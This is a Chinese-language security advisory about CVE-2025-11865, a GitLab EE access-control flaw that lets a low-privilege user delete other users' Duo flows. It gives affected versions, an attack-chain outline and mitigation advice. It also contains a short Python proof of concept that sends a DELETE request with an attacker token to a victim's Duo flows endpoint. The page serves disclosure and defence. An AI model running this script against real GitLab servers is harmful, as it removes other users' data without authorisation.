IPBUF安全漏洞报告
English
CVE-2025-11865 CVSS 4.3 中危

CVE-2025-11865: GitLab EE权限绕过漏洞可移除其他用户Duo flows

披露日期: 2025-11-15

漏洞信息

漏洞编号
CVE-2025-11865
漏洞类型
权限绕过/访问控制漏洞
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab EE

相关标签

GitLab权限绕过访问控制CVE-2025-11865Duo flowsAPI安全GitLab EEBroken Access Control

漏洞概述

CVE-2025-11865是GitLab企业版(EE)中存在的一个权限绕过安全漏洞。该漏洞影响GitLab EE所有版本从18.1到18.3.6之前、18.4到18.4.4之前以及18.5到18.5.2之前的版本。在某些特定情况下,攻击者可以利用此漏洞移除另一个用户的Duo flows配置。Duo flows是GitLab提供的AI辅助开发功能,用于帮助开发者自动生成代码、审查代码和执行其他开发任务。攻击者通过精心构造的请求,可以绕过正常的权限检查机制,对其他用户的Duo flows进行未授权的删除操作。该漏洞的CVSS评分为4.3,属于中等严重程度,主要影响GitLab的完整性和访问控制机制。GitLab官方已于2025年11月12日发布补丁版本18.5.2、18.4.4和18.3.6来修复此安全问题。建议所有使用受影响版本的用户尽快升级到最新补丁版本以防止潜在的安全风险。

技术细节

该漏洞存在于GitLab EE的Duo flows功能模块中,涉及API端点的访问控制检查机制存在缺陷。攻击者通过发送特制的HTTP请求到GitLab的API接口,利用身份验证过程中的逻辑漏洞绕过权限验证。具体来说,问题出在处理用户对Duo flows资源的操作请求时,服务器端未能正确验证当前认证用户是否有权对目标用户的Duo flows执行删除操作。攻击者只需要拥有GitLab账户(低权限即可),即可构造恶意请求删除任意其他用户的Duo flows配置。漏洞利用的关键在于API请求中用户标识符的验证不充分,允许攻击者通过修改请求参数中的用户ID来实现跨用户操作。GitLab的Duo flows功能依赖于用户特定的配置和状态,删除操作会导致用户失去AI辅助功能,影响开发效率。此漏洞属于OWASP Top 10中的Broken Access Control类别,是典型的权限控制缺陷。

攻击链分析

STEP 1
步骤1
攻击者获取有效的GitLab账户(低权限即可),获取个人访问令牌(Private Token或Personal Access Token)
STEP 2
步骤2
攻击者通过API端点获取目标用户ID,或通过用户资料页面获取目标用户的用户名和ID信息
STEP 3
步骤3
攻击者构造恶意的DELETE请求到GitLab Duo flows API端点,在请求中指定目标用户ID
STEP 4
步骤4
服务器端未正确验证当前认证用户是否有权操作目标用户的Duo flows,存在访问控制绕过
STEP 5
步骤5
目标用户的Duo flows配置被成功删除,导致其失去AI辅助开发功能
STEP 6
步骤6
攻击者可以重复此操作,对多个用户进行攻击,造成大范围影响

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11865 PoC - GitLab EE Unauthorized Duo Flows Removal # This PoC demonstrates the access control bypass vulnerability import requests import json TARGET_GITLAB_URL = "https://gitlab.example.com" ATTACKER_TOKEN = "glpat-attacker-token-here" TARGET_USER_ID = "victim-user-id" def delete_duo_flows(): """ Exploit the CVE-2025-11865 vulnerability to remove another user's Duo flows """ headers = { "PRIVATE-TOKEN": ATTACKER_TOKEN, "Content-Type": "application/json" } # Target endpoint for Duo flows deletion endpoint = f"{TARGET_GITLAB_URL}/api/v4/users/{TARGET_USER_ID}/duo_flows" try: # Send DELETE request - this should fail with proper auth check response = requests.delete(endpoint, headers=headers, timeout=10) if response.status_code == 204 or response.status_code == 200: print("[+] SUCCESS: Target user's Duo flows removed!") print(f"[+] Response: {response.text}") return True else: print(f"[-] FAILED: Status code {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}") return False if __name__ == "__main__": print("CVE-2025-11865 PoC - GitLab EE Unauthorized Duo Flows Removal") print("=" * 70) delete_duo_flows()

影响范围

GitLab EE 18.1 到 18.3.6(不含)
GitLab EE 18.4 到 18.4.4(不含)
GitLab EE 18.5 到 18.5.2(不含)

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web应用防火墙(WAF)规则限制对/api/v4/users/*/duo_flows端点的访问,同时启用GitLab的审计日志功能监控异常的删除操作。建议在条件允许的情况下优先进行版本升级以彻底修复该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表